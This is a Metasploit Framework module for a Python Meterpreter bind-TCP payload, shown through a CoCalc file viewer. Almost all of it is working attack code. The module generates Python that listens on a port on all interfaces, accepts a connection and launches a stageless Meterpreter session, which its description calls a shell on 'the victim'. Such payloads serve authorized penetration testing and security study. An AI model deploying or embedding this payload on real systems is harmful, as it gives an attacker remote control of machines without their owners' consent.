CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/python/meterpreter_bind_tcp.rb
Views: 11765
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = :dynamic
10
11
include Msf::Payload::Single
12
include Msf::Payload::Python
13
include Msf::Payload::Python::BindTcp
14
include Msf::Payload::Python::MeterpreterLoader
15
16
def initialize(info = {})
17
super(merge_info(info,
18
'Name' => 'Python Meterpreter Shell, Bind TCP Inline',
19
'Description' => 'Connect to the victim and spawn a Meterpreter shell',
20
'Author' => 'Spencer McIntyre',
21
'License' => MSF_LICENSE,
22
'Platform' => 'python',
23
'Arch' => ARCH_PYTHON,
24
'Handler' => Msf::Handler::BindTcp,
25
'Session' => Msf::Sessions::Meterpreter_Python_Python
26
))
27
end
28
29
def generate_bind_tcp(opts={})
30
socket_setup = "bind_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n"
31
socket_setup << "bind_sock.bind(('0.0.0.0', #{opts[:port]}))\n"
32
socket_setup << "bind_sock.listen(1)\n"
33
socket_setup << "s, address = bind_sock.accept()\n"
34
opts[:stageless_tcp_socket_setup] = socket_setup
35
opts[:stageless] = true
36
37
met = stage_meterpreter(opts)
38
py_create_exec_stub(met)
39
end
40
end
41
42